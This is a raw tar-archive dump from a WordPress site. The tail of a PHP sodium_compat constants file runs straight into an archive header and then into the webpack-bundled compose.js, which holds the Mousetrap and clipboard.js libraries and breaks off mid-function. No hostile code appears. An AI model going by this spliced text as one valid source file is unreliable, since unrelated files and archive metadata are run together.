const CRYPTO_GENERICHASH_BYTES = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES;
const CRYPTO_GENERICHASH_BYTES_MIN = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN;
const CRYPTO_GENERICHASH_BYTES_MAX = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX;
const CRYPTO_GENERICHASH_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES;
const CRYPTO_GENERICHASH_KEYBYTES_MIN = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN;
const CRYPTO_GENERICHASH_KEYBYTES_MAX = ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX;
const CRYPTO_SCALARMULT_BYTES = ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_BYTES;
const CRYPTO_SCALARMULT_SCALARBYTES = ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_SCALARBYTES;
const CRYPTO_SHORTHASH_BYTES = ParagonIE_Sodium_Compat::CRYPTO_SHORTHASH_BYTES;
const CRYPTO_SHORTHASH_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_SHORTHASH_KEYBYTES;
const CRYPTO_SECRETBOX_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES;
const CRYPTO_SECRETBOX_MACBYTES = ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES;
const CRYPTO_SECRETBOX_NONCEBYTES = ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES;
const CRYPTO_SIGN_BYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES;
const CRYPTO_SIGN_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_SEEDBYTES;
const CRYPTO_SIGN_PUBLICKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES;
const CRYPTO_SIGN_SECRETKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES;
const CRYPTO_SIGN_KEYPAIRBYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_KEYPAIRBYTES;
const CRYPTO_STREAM_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_STREAM_KEYBYTES;
const CRYPTO_STREAM_NONCEBYTES = ParagonIE_Sodium_Compat::CRYPTO_STREAM_NONCEBYTES;
14338/compose.js.tar000064400000613000151024420100010003 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/compose.js000064400000607154151024365340024756 0ustar00/******/ (() => { // webpackBootstrap
/******/ 	var __webpack_modules__ = ({

/***/ 1933:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_RESULT__;/*global define:false */
/**
 * Copyright 2012-2017 Craig Campbell
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * Mousetrap is a simple keyboard shortcut library for Javascript with
 * no external dependencies
 *
 * @version 1.6.5
 * @url craig.is/killing/mice
 */
(function(window, document, undefined) {

    // Check if mousetrap is used inside browser, if not, return
    if (!window) {
        return;
    }

    /**
     * mapping of special keycodes to their corresponding keys
     *
     * everything in this dictionary cannot use keypress events
     * so it has to be here to map to the correct keycodes for
     * keyup/keydown events
     *
     * @type {Object}
     */
    var _MAP = {
        8: 'backspace',
        9: 'tab',
        13: 'enter',
        16: 'shift',
        17: 'ctrl',
        18: 'alt',
        20: 'capslock',
        27: 'esc',
        32: 'space',
        33: 'pageup',
        34: 'pagedown',
        35: 'end',
        36: 'home',
        37: 'left',
        38: 'up',
        39: 'right',
        40: 'down',
        45: 'ins',
        46: 'del',
        91: 'meta',
        93: 'meta',
        224: 'meta'
    };

    /**
     * mapping for special characters so they can support
     *
     * this dictionary is only used incase you want to bind a
     * keyup or keydown event to one of these keys
     *
     * @type {Object}
     */
    var _KEYCODE_MAP = {
        106: '*',
        107: '+',
        109: '-',
        110: '.',
        111 : '/',
        186: ';',
        187: '=',
        188: ',',
        189: '-',
        190: '.',
        191: '/',
        192: '`',
        219: '[',
        220: '\\',
        221: ']',
        222: '\''
    };

    /**
     * this is a mapping of keys that require shift on a US keypad
     * back to the non shift equivelents
     *
     * this is so you can use keyup events with these keys
     *
     * note that this will only work reliably on US keyboards
     *
     * @type {Object}
     */
    var _SHIFT_MAP = {
        '~': '`',
        '!': '1',
        '@': '2',
        '#': '3',
        '$': '4',
        '%': '5',
        '^': '6',
        '&': '7',
        '*': '8',
        '(': '9',
        ')': '0',
        '_': '-',
        '+': '=',
        ':': ';',
        '\"': '\'',
        '<': ',',
        '>': '.',
        '?': '/',
        '|': '\\'
    };

    /**
     * this is a list of special strings you can use to map
     * to modifier keys when you specify your keyboard shortcuts
     *
     * @type {Object}
     */
    var _SPECIAL_ALIASES = {
        'option': 'alt',
        'command': 'meta',
        'return': 'enter',
        'escape': 'esc',
        'plus': '+',
        'mod': /Mac|iPod|iPhone|iPad/.test(navigator.platform) ? 'meta' : 'ctrl'
    };

    /**
     * variable to store the flipped version of _MAP from above
     * needed to check if we should use keypress or not when no action
     * is specified
     *
     * @type {Object|undefined}
     */
    var _REVERSE_MAP;

    /**
     * loop through the f keys, f1 to f19 and add them to the map
     * programatically
     */
    for (var i = 1; i < 20; ++i) {
        _MAP[111 + i] = 'f' + i;
    }

    /**
     * loop through to map numbers on the numeric keypad
     */
    for (i = 0; i <= 9; ++i) {

        // This needs to use a string cause otherwise since 0 is falsey
        // mousetrap will never fire for numpad 0 pressed as part of a keydown
        // event.
        //
        // @see https://github.com/ccampbell/mousetrap/pull/258
        _MAP[i + 96] = i.toString();
    }

    /**
     * cross browser add event method
     *
     * @param {Element|HTMLDocument} object
     * @param {string} type
     * @param {Function} callback
     * @returns void
     */
    function _addEvent(object, type, callback) {
        if (object.addEventListener) {
            object.addEventListener(type, callback, false);
            return;
        }

        object.attachEvent('on' + type, callback);
    }

    /**
     * takes the event and returns the key character
     *
     * @param {Event} e
     * @return {string}
     */
    function _characterFromEvent(e) {

        // for keypress events we should return the character as is
        if (e.type == 'keypress') {
            var character = String.fromCharCode(e.which);

            // if the shift key is not pressed then it is safe to assume
            // that we want the character to be lowercase.  this means if
            // you accidentally have caps lock on then your key bindings
            // will continue to work
            //
            // the only side effect that might not be desired is if you
            // bind something like 'A' cause you want to trigger an
            // event when capital A is pressed caps lock will no longer
            // trigger the event.  shift+a will though.
            if (!e.shiftKey) {
                character = character.toLowerCase();
            }

            return character;
        }

        // for non keypress events the special maps are needed
        if (_MAP[e.which]) {
            return _MAP[e.which];
        }

        if (_KEYCODE_MAP[e.which]) {
            return _KEYCODE_MAP[e.which];
        }

        // if it is not in the special map

        // with keydown and keyup events the character seems to always
        // come in as an uppercase character whether you are pressing shift
        // or not.  we should make sure it is always lowercase for comparisons
        return String.fromCharCode(e.which).toLowerCase();
    }

    /**
     * checks if two arrays are equal
     *
     * @param {Array} modifiers1
     * @param {Array} modifiers2
     * @returns {boolean}
     */
    function _modifiersMatch(modifiers1, modifiers2) {
        return modifiers1.sort().join(',') === modifiers2.sort().join(',');
    }

    /**
     * takes a key event and figures out what the modifiers are
     *
     * @param {Event} e
     * @returns {Array}
     */
    function _eventModifiers(e) {
        var modifiers = [];

        if (e.shiftKey) {
            modifiers.push('shift');
        }

        if (e.altKey) {
            modifiers.push('alt');
        }

        if (e.ctrlKey) {
            modifiers.push('ctrl');
        }

        if (e.metaKey) {
            modifiers.push('meta');
        }

        return modifiers;
    }

    /**
     * prevents default for this event
     *
     * @param {Event} e
     * @returns void
     */
    function _preventDefault(e) {
        if (e.preventDefault) {
            e.preventDefault();
            return;
        }

        e.returnValue = false;
    }

    /**
     * stops propogation for this event
     *
     * @param {Event} e
     * @returns void
     */
    function _stopPropagation(e) {
        if (e.stopPropagation) {
            e.stopPropagation();
            return;
        }

        e.cancelBubble = true;
    }

    /**
     * determines if the keycode specified is a modifier key or not
     *
     * @param {string} key
     * @returns {boolean}
     */
    function _isModifier(key) {
        return key == 'shift' || key == 'ctrl' || key == 'alt' || key == 'meta';
    }

    /**
     * reverses the map lookup so that we can look for specific keys
     * to see what can and can't use keypress
     *
     * @return {Object}
     */
    function _getReverseMap() {
        if (!_REVERSE_MAP) {
            _REVERSE_MAP = {};
            for (var key in _MAP) {

                // pull out the numeric keypad from here cause keypress should
                // be able to detect the keys from the character
                if (key > 95 && key < 112) {
                    continue;
                }

                if (_MAP.hasOwnProperty(key)) {
                    _REVERSE_MAP[_MAP[key]] = key;
                }
            }
        }
        return _REVERSE_MAP;
    }

    /**
     * picks the best action based on the key combination
     *
     * @param {string} key - character for key
     * @param {Array} modifiers
     * @param {string=} action passed in
     */
    function _pickBestAction(key, modifiers, action) {

        // if no action was picked in we should try to pick the one
        // that we think would work best for this key
        if (!action) {
            action = _getReverseMap()[key] ? 'keydown' : 'keypress';
        }

        // modifier keys don't work as expected with keypress,
        // switch to keydown
        if (action == 'keypress' && modifiers.length) {
            action = 'keydown';
        }

        return action;
    }

    /**
     * Converts from a string key combination to an array
     *
     * @param  {string} combination like "command+shift+l"
     * @return {Array}
     */
    function _keysFromString(combination) {
        if (combination === '+') {
            return ['+'];
        }

        combination = combination.replace(/\+{2}/g, '+plus');
        return combination.split('+');
    }

    /**
     * Gets info for a specific key combination
     *
     * @param  {string} combination key combination ("command+s" or "a" or "*")
     * @param  {string=} action
     * @returns {Object}
     */
    function _getKeyInfo(combination, action) {
        var keys;
        var key;
        var i;
        var modifiers = [];

        // take the keys from this pattern and figure out what the actual
        // pattern is all about
        keys = _keysFromString(combination);

        for (i = 0; i < keys.length; ++i) {
            key = keys[i];

            // normalize key names
            if (_SPECIAL_ALIASES[key]) {
                key = _SPECIAL_ALIASES[key];
            }

            // if this is not a keypress event then we should
            // be smart about using shift keys
            // this will only work for US keyboards however
            if (action && action != 'keypress' && _SHIFT_MAP[key]) {
                key = _SHIFT_MAP[key];
                modifiers.push('shift');
            }

            // if this key is a modifier then add it to the list of modifiers
            if (_isModifier(key)) {
                modifiers.push(key);
            }
        }

        // depending on what the key combination is
        // we will try to pick the best event for it
        action = _pickBestAction(key, modifiers, action);

        return {
            key: key,
            modifiers: modifiers,
            action: action
        };
    }

    function _belongsTo(element, ancestor) {
        if (element === null || element === document) {
            return false;
        }

        if (element === ancestor) {
            return true;
        }

        return _belongsTo(element.parentNode, ancestor);
    }

    function Mousetrap(targetElement) {
        var self = this;

        targetElement = targetElement || document;

        if (!(self instanceof Mousetrap)) {
            return new Mousetrap(targetElement);
        }

        /**
         * element to attach key events to
         *
         * @type {Element}
         */
        self.target = targetElement;

        /**
         * a list of all the callbacks setup via Mousetrap.bind()
         *
         * @type {Object}
         */
        self._callbacks = {};

        /**
         * direct map of string combinations to callbacks used for trigger()
         *
         * @type {Object}
         */
        self._directMap = {};

        /**
         * keeps track of what level each sequence is at since multiple
         * sequences can start out with the same sequence
         *
         * @type {Object}
         */
        var _sequenceLevels = {};

        /**
         * variable to store the setTimeout call
         *
         * @type {null|number}
         */
        var _resetTimer;

        /**
         * temporary state where we will ignore the next keyup
         *
         * @type {boolean|string}
         */
        var _ignoreNextKeyup = false;

        /**
         * temporary state where we will ignore the next keypress
         *
         * @type {boolean}
         */
        var _ignoreNextKeypress = false;

        /**
         * are we currently inside of a sequence?
         * type of action ("keyup" or "keydown" or "keypress") or false
         *
         * @type {boolean|string}
         */
        var _nextExpectedAction = false;

        /**
         * resets all sequence counters except for the ones passed in
         *
         * @param {Object} doNotReset
         * @returns void
         */
        function _resetSequences(doNotReset) {
            doNotReset = doNotReset || {};

            var activeSequences = false,
                key;

            for (key in _sequenceLevels) {
                if (doNotReset[key]) {
                    activeSequences = true;
                    continue;
                }
                _sequenceLevels[key] = 0;
            }

            if (!activeSequences) {
                _nextExpectedAction = false;
            }
        }

        /**
         * finds all callbacks that match based on the keycode, modifiers,
         * and action
         *
         * @param {string} character
         * @param {Array} modifiers
         * @param {Event|Object} e
         * @param {string=} sequenceName - name of the sequence we are looking for
         * @param {string=} combination
         * @param {number=} level
         * @returns {Array}
         */
        function _getMatches(character, modifiers, e, sequenceName, combination, level) {
            var i;
            var callback;
            var matches = [];
            var action = e.type;

            // if there are no events related to this keycode
            if (!self._callbacks[character]) {
                return [];
            }

            // if a modifier key is coming up on its own we should allow it
            if (action == 'keyup' && _isModifier(character)) {
                modifiers = [character];
            }

            // loop through all callbacks for the key that was pressed
            // and see if any of them match
            for (i = 0; i < self._callbacks[character].length; ++i) {
                callback = self._callbacks[character][i];

                // if a sequence name is not specified, but this is a sequence at
                // the wrong level then move onto the next match
                if (!sequenceName && callback.seq && _sequenceLevels[callback.seq] != callback.level) {
                    continue;
                }

                // if the action we are looking for doesn't match the action we got
                // then we should keep going
                if (action != callback.action) {
                    continue;
                }

                // if this is a keypress event and the meta key and control key
                // are not pressed that means that we need to only look at the
                // character, otherwise check the modifiers as well
                //
                // chrome will not fire a keypress if meta or control is down
                // safari will fire a keypress if meta or meta+shift is down
                // firefox will fire a keypress if meta or control is down
                if ((action == 'keypress' && !e.metaKey && !e.ctrlKey) || _modifiersMatch(modifiers, callback.modifiers)) {

                    // when you bind a combination or sequence a second time it
                    // should overwrite the first one.  if a sequenceName or
                    // combination is specified in this call it does just that
                    //
                    // @todo make deleting its own method?
                    var deleteCombo = !sequenceName && callback.combo == combination;
                    var deleteSequence = sequenceName && callback.seq == sequenceName && callback.level == level;
                    if (deleteCombo || deleteSequence) {
                        self._callbacks[character].splice(i, 1);
                    }

                    matches.push(callback);
                }
            }

            return matches;
        }

        /**
         * actually calls the callback function
         *
         * if your callback function returns false this will use the jquery
         * convention - prevent default and stop propogation on the event
         *
         * @param {Function} callback
         * @param {Event} e
         * @returns void
         */
        function _fireCallback(callback, e, combo, sequence) {

            // if this event should not happen stop here
            if (self.stopCallback(e, e.target || e.srcElement, combo, sequence)) {
                return;
            }

            if (callback(e, combo) === false) {
                _preventDefault(e);
                _stopPropagation(e);
            }
        }

        /**
         * handles a character key event
         *
         * @param {string} character
         * @param {Array} modifiers
         * @param {Event} e
         * @returns void
         */
        self._handleKey = function(character, modifiers, e) {
            var callbacks = _getMatches(character, modifiers, e);
            var i;
            var doNotReset = {};
            var maxLevel = 0;
            var processedSequenceCallback = false;

            // Calculate the maxLevel for sequences so we can only execute the longest callback sequence
            for (i = 0; i < callbacks.length; ++i) {
                if (callbacks[i].seq) {
                    maxLevel = Math.max(maxLevel, callbacks[i].level);
                }
            }

            // loop through matching callbacks for this key event
            for (i = 0; i < callbacks.length; ++i) {

                // fire for all sequence callbacks
                // this is because if for example you have multiple sequences
                // bound such as "g i" and "g t" they both need to fire the
                // callback for matching g cause otherwise you can only ever
                // match the first one
                if (callbacks[i].seq) {

                    // only fire callbacks for the maxLevel to prevent
                    // subsequences from also firing
                    //
                    // for example 'a option b' should not cause 'option b' to fire
                    // even though 'option b' is part of the other sequence
                    //
                    // any sequences that do not match here will be discarded
                    // below by the _resetSequences call
                    if (callbacks[i].level != maxLevel) {
                        continue;
                    }

                    processedSequenceCallback = true;

                    // keep a list of which sequences were matches for later
                    doNotReset[callbacks[i].seq] = 1;
                    _fireCallback(callbacks[i].callback, e, callbacks[i].combo, callbacks[i].seq);
                    continue;
                }

                // if there were no sequence matches but we are still here
                // that means this is a regular match so we should fire that
                if (!processedSequenceCallback) {
                    _fireCallback(callbacks[i].callback, e, callbacks[i].combo);
                }
            }

            // if the key you pressed matches the type of sequence without
            // being a modifier (ie "keyup" or "keypress") then we should
            // reset all sequences that were not matched by this event
            //
            // this is so, for example, if you have the sequence "h a t" and you
            // type "h e a r t" it does not match.  in this case the "e" will
            // cause the sequence to reset
            //
            // modifier keys are ignored because you can have a sequence
            // that contains modifiers such as "enter ctrl+space" and in most
            // cases the modifier key will be pressed before the next key
            //
            // also if you have a sequence such as "ctrl+b a" then pressing the
            // "b" key will trigger a "keypress" and a "keydown"
            //
            // the "keydown" is expected when there is a modifier, but the
            // "keypress" ends up matching the _nextExpectedAction since it occurs
            // after and that causes the sequence to reset
            //
            // we ignore keypresses in a sequence that directly follow a keydown
            // for the same character
            var ignoreThisKeypress = e.type == 'keypress' && _ignoreNextKeypress;
            if (e.type == _nextExpectedAction && !_isModifier(character) && !ignoreThisKeypress) {
                _resetSequences(doNotReset);
            }

            _ignoreNextKeypress = processedSequenceCallback && e.type == 'keydown';
        };

        /**
         * handles a keydown event
         *
         * @param {Event} e
         * @returns void
         */
        function _handleKeyEvent(e) {

            // normalize e.which for key events
            // @see http://stackoverflow.com/questions/4285627/javascript-keycode-vs-charcode-utter-confusion
            if (typeof e.which !== 'number') {
                e.which = e.keyCode;
            }

            var character = _characterFromEvent(e);

            // no character found then stop
            if (!character) {
                return;
            }

            // need to use === for the character check because the character can be 0
            if (e.type == 'keyup' && _ignoreNextKeyup === character) {
                _ignoreNextKeyup = false;
                return;
            }

            self.handleKey(character, _eventModifiers(e), e);
        }

        /**
         * called to set a 1 second timeout on the specified sequence
         *
         * this is so after each key press in the sequence you have 1 second
         * to press the next key before you have to start over
         *
         * @returns void
         */
        function _resetSequenceTimer() {
            clearTimeout(_resetTimer);
            _resetTimer = setTimeout(_resetSequences, 1000);
        }

        /**
         * binds a key sequence to an event
         *
         * @param {string} combo - combo specified in bind call
         * @param {Array} keys
         * @param {Function} callback
         * @param {string=} action
         * @returns void
         */
        function _bindSequence(combo, keys, callback, action) {

            // start off by adding a sequence level record for this combination
            // and setting the level to 0
            _sequenceLevels[combo] = 0;

            /**
             * callback to increase the sequence level for this sequence and reset
             * all other sequences that were active
             *
             * @param {string} nextAction
             * @returns {Function}
             */
            function _increaseSequence(nextAction) {
                return function() {
                    _nextExpectedAction = nextAction;
                    ++_sequenceLevels[combo];
                    _resetSequenceTimer();
                };
            }

            /**
             * wraps the specified callback inside of another function in order
             * to reset all sequence counters as soon as this sequence is done
             *
             * @param {Event} e
             * @returns void
             */
            function _callbackAndReset(e) {
                _fireCallback(callback, e, combo);

                // we should ignore the next key up if the action is key down
                // or keypress.  this is so if you finish a sequence and
                // release the key the final key will not trigger a keyup
                if (action !== 'keyup') {
                    _ignoreNextKeyup = _characterFromEvent(e);
                }

                // weird race condition if a sequence ends with the key
                // another sequence begins with
                setTimeout(_resetSequences, 10);
            }

            // loop through keys one at a time and bind the appropriate callback
            // function.  for any key leading up to the final one it should
            // increase the sequence. after the final, it should reset all sequences
            //
            // if an action is specified in the original bind call then that will
            // be used throughout.  otherwise we will pass the action that the
            // next key in the sequence should match.  this allows a sequence
            // to mix and match keypress and keydown events depending on which
            // ones are better suited to the key provided
            for (var i = 0; i < keys.length; ++i) {
                var isFinal = i + 1 === keys.length;
                var wrappedCallback = isFinal ? _callbackAndReset : _increaseSequence(action || _getKeyInfo(keys[i + 1]).action);
                _bindSingle(keys[i], wrappedCallback, action, combo, i);
            }
        }

        /**
         * binds a single keyboard combination
         *
         * @param {string} combination
         * @param {Function} callback
         * @param {string=} action
         * @param {string=} sequenceName - name of sequence if part of sequence
         * @param {number=} level - what part of the sequence the command is
         * @returns void
         */
        function _bindSingle(combination, callback, action, sequenceName, level) {

            // store a direct mapped reference for use with Mousetrap.trigger
            self._directMap[combination + ':' + action] = callback;

            // make sure multiple spaces in a row become a single space
            combination = combination.replace(/\s+/g, ' ');

            var sequence = combination.split(' ');
            var info;

            // if this pattern is a sequence of keys then run through this method
            // to reprocess each pattern one key at a time
            if (sequence.length > 1) {
                _bindSequence(combination, sequence, callback, action);
                return;
            }

            info = _getKeyInfo(combination, action);

            // make sure to initialize array if this is the first time
            // a callback is added for this key
            self._callbacks[info.key] = self._callbacks[info.key] || [];

            // remove an existing match if there is one
            _getMatches(info.key, info.modifiers, {type: info.action}, sequenceName, combination, level);

            // add this call back to the array
            // if it is a sequence put it at the beginning
            // if not put it at the end
            //
            // this is important because the way these are processed expects
            // the sequence ones to come first
            self._callbacks[info.key][sequenceName ? 'unshift' : 'push']({
                callback: callback,
                modifiers: info.modifiers,
                action: info.action,
                seq: sequenceName,
                level: level,
                combo: combination
            });
        }

        /**
         * binds multiple combinations to the same callback
         *
         * @param {Array} combinations
         * @param {Function} callback
         * @param {string|undefined} action
         * @returns void
         */
        self._bindMultiple = function(combinations, callback, action) {
            for (var i = 0; i < combinations.length; ++i) {
                _bindSingle(combinations[i], callback, action);
            }
        };

        // start!
        _addEvent(targetElement, 'keypress', _handleKeyEvent);
        _addEvent(targetElement, 'keydown', _handleKeyEvent);
        _addEvent(targetElement, 'keyup', _handleKeyEvent);
    }

    /**
     * binds an event to mousetrap
     *
     * can be a single key, a combination of keys separated with +,
     * an array of keys, or a sequence of keys separated by spaces
     *
     * be sure to list the modifier keys first to make sure that the
     * correct key ends up getting bound (the last key in the pattern)
     *
     * @param {string|Array} keys
     * @param {Function} callback
     * @param {string=} action - 'keypress', 'keydown', or 'keyup'
     * @returns void
     */
    Mousetrap.prototype.bind = function(keys, callback, action) {
        var self = this;
        keys = keys instanceof Array ? keys : [keys];
        self._bindMultiple.call(self, keys, callback, action);
        return self;
    };

    /**
     * unbinds an event to mousetrap
     *
     * the unbinding sets the callback function of the specified key combo
     * to an empty function and deletes the corresponding key in the
     * _directMap dict.
     *
     * TODO: actually remove this from the _callbacks dictionary instead
     * of binding an empty function
     *
     * the keycombo+action has to be exactly the same as
     * it was defined in the bind method
     *
     * @param {string|Array} keys
     * @param {string} action
     * @returns void
     */
    Mousetrap.prototype.unbind = function(keys, action) {
        var self = this;
        return self.bind.call(self, keys, function() {}, action);
    };

    /**
     * triggers an event that has already been bound
     *
     * @param {string} keys
     * @param {string=} action
     * @returns void
     */
    Mousetrap.prototype.trigger = function(keys, action) {
        var self = this;
        if (self._directMap[keys + ':' + action]) {
            self._directMap[keys + ':' + action]({}, keys);
        }
        return self;
    };

    /**
     * resets the library back to its initial state.  this is useful
     * if you want to clear out the current keyboard shortcuts and bind
     * new ones - for example if you switch to another page
     *
     * @returns void
     */
    Mousetrap.prototype.reset = function() {
        var self = this;
        self._callbacks = {};
        self._directMap = {};
        return self;
    };

    /**
     * should we stop this event before firing off callbacks
     *
     * @param {Event} e
     * @param {Element} element
     * @return {boolean}
     */
    Mousetrap.prototype.stopCallback = function(e, element) {
        var self = this;

        // if the element has the class "mousetrap" then no need to stop
        if ((' ' + element.className + ' ').indexOf(' mousetrap ') > -1) {
            return false;
        }

        if (_belongsTo(element, self.target)) {
            return false;
        }

        // Events originating from a shadow DOM are re-targetted and `e.target` is the shadow host,
        // not the initial event target in the shadow tree. Note that not all events cross the
        // shadow boundary.
        // For shadow trees with `mode: 'open'`, the initial event target is the first element in
        // the event’s composed path. For shadow trees with `mode: 'closed'`, the initial event
        // target cannot be obtained.
        if ('composedPath' in e && typeof e.composedPath === 'function') {
            // For open shadow trees, update `element` so that the following check works.
            var initialEventTarget = e.composedPath()[0];
            if (initialEventTarget !== e.target) {
                element = initialEventTarget;
            }
        }

        // stop for input, select, and textarea
        return element.tagName == 'INPUT' || element.tagName == 'SELECT' || element.tagName == 'TEXTAREA' || element.isContentEditable;
    };

    /**
     * exposes _handleKey publicly so it can be overwritten by extensions
     */
    Mousetrap.prototype.handleKey = function() {
        var self = this;
        return self._handleKey.apply(self, arguments);
    };

    /**
     * allow custom key mappings
     */
    Mousetrap.addKeycodes = function(object) {
        for (var key in object) {
            if (object.hasOwnProperty(key)) {
                _MAP[key] = object[key];
            }
        }
        _REVERSE_MAP = null;
    };

    /**
     * Init the global mousetrap functions
     *
     * This method is needed to allow the global mousetrap functions to work
     * now that mousetrap is a constructor function.
     */
    Mousetrap.init = function() {
        var documentMousetrap = Mousetrap(document);
        for (var method in documentMousetrap) {
            if (method.charAt(0) !== '_') {
                Mousetrap[method] = (function(method) {
                    return function() {
                        return documentMousetrap[method].apply(documentMousetrap, arguments);
                    };
                } (method));
            }
        }
    };

    Mousetrap.init();

    // expose mousetrap to the global object
    window.Mousetrap = Mousetrap;

    // expose as a common js module
    if ( true && module.exports) {
        module.exports = Mousetrap;
    }

    // expose mousetrap as an AMD module
    if (true) {
        !(__WEBPACK_AMD_DEFINE_RESULT__ = (function() {
            return Mousetrap;
        }).call(exports, __webpack_require__, exports, module),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
    }
}) (typeof window !== 'undefined' ? window : null, typeof  window !== 'undefined' ? document : null);


/***/ }),

/***/ 3758:
/***/ (function(module) {

/*!
 * clipboard.js v2.0.11
 * https://clipboardjs.com/
 *
 * Licensed MIT © Zeno Rocha
 */
(function webpackUniversalModuleDefinition(root, factory) {
	if(true)
		module.exports = factory();
	else {}
})(this, function() {
return /******/ (function() { // webpackBootstrap
/******/ 	var __webpack_modules__ = ({

/***/ 686:
/***/ (function(__unused_webpack_module, __nested_webpack_exports__, __nested_webpack_require_623__) {

"use strict";

// EXPORTS
__nested_webpack_require_623__.d(__nested_webpack_exports__, {
  "default": function() { return /* binding */ clipboard; }
});

// EXTERNAL MODULE: ./node_modules/tiny-emitter/index.js
var tiny_emitter = __nested_webpack_require_623__(279);
var tiny_emitter_default = /*#__PURE__*/__nested_webpack_require_623__.n(tiny_emitter);
// EXTERNAL MODULE: ./node_modules/good-listener/src/listen.js
var listen = __nested_webpack_require_623__(370);
var listen_default = /*#__PURE__*/__nested_webpack_require_623__.n(listen);
// EXTERNAL MODULE: ./node_modules/select/src/select.js
var src_select = __nested_webpack_require_623__(817);
var select_default = /*#__PURE__*/__nested_webpack_require_623__.n(src_select);
;// CONCATENATED MODULE: ./src/common/command.js
/**
 * Executes a given operation type.
 * @param {String} type
 * @return {Boolean}
 */
function command(type) {
  try {
    return document.execCommand(type);
  } catch (err) {
    return false;
  }
}
;// CONCATENATED MODULE: ./src/actions/cut.js


/**
 * Cut action wrapper.
 * @param {String|HTMLElement} target
 * @return {String}
 */

var ClipboardActionCut = function ClipboardActionCut(target) {
  var selectedText = select_default()(target);
  command('cut');
  return selectedText;
};

/* harmony default export */ var actions_cut = (ClipboardActionCut);
;// CONCATENATED MODULE: ./src/common/create-fake-element.js
/**
 * Creates a fake textarea element with a value.
 * @param {String} value
 * @return {HTMLElement}
 */
function createFakeElement(value) {
  var isRTL = document.documentElement.getAttribute('dir') === 'rtl';
  var fakeElement = document.createElement('textarea'); // Prevent zooming on iOS

  fakeElement.style.fontSize = '12pt'; // Reset box model

  fakeElement.style.border = '0';
  fakeElement.style.padding = '0';
  fakeElement.style.margin = '0'; // Move element out of screen horizontally

  fakeElement.style.position = 'absolute';
  fakeElement.style[isRTL ? 'right' : 'left'] = '-9999px'; // Move element to the same position vertically

  var yPosition = window.pageYOffset || document.documentElement.scrollTop;
  fakeElement.style.top = "".concat(yPosition, "px");
  fakeElement.setAttribute('readonly', '');
  fakeElement.value = value;
  return fakeElement;
}
;// CONCATENATED MODULE: ./src/actions/copy.js



/**
 * Create fake copy action wrapper using a fake element.
 * @param {String} target
 * @param {Object} options
 * @return {String}
 */

var fakeCopyAction = function fakeCopyAction(value, options) {
  var fakeElement = createFakeElement(value);
  options.container.appendChild(fakeElement);
  var selectedText = select_default()(fakeElement);
  command('copy');
  fakeElement.remove();
  return selectedText;
};
/**
 * Copy action wrapper.
 * @param {String|HTMLElement} target
 * @param {Object} options
 * @return {String}
 */


var ClipboardActionCopy = function ClipboardActionCopy(target) {
  var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {
    container: document.body
  };
  var selectedText = '';

  if (typeof target === 'string') {
    selectedText = fakeCopyAction(target, options);
  } else if (target instanceof HTMLInputElement && !['text', 'search', 'url', 'tel', 'password'].includes(target === null || target === void 0 ? void 0 : target.type)) {
    // If input type doesn't support `setSelectionRange`. Simulate it. https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange
    selectedText = fakeCopyAction(target.value, options);
  } else {
    selectedText = select_default()(target);
    command('copy');
  }

  return selectedText;
};

/* harmony default export */ var actions_copy = (ClipboardActionCopy);
;// CONCATENATED MODULE: ./src/actions/default.js
function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }



/**
 * Inner function which performs selection from either `text` or `target`
 * properties and then executes copy or cut operations.
 * @param {Object} options
 */

var ClipboardActionDefault = function ClipboardActionDefault() {
  var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
  // Defines base properties passed from constructor.
  var _options$action = options.action,
      action = _options$action === void 0 ? 'copy' : _options$action,
      container = options.container,
      target = options.target,
      text = options.text; // Sets the `action` to be performed which can be either 'copy' or 'cut'.

  if (action !== 'copy' && action !== 'cut') {
    throw new Error('Invalid "action" value, use either "copy" or "cut"');
  } // Sets the `target` property using an element that will be have its content copied.


  if (target !== undefined) {
    if (target && _typeof(target) === 'object' && target.nodeType === 1) {
      if (action === 'copy' && target.hasAttribute('disabled')) {
        throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');
      }

      if (action === 'cut' && (target.hasAttribute('readonly') || target.hasAttribute('disabled'))) {
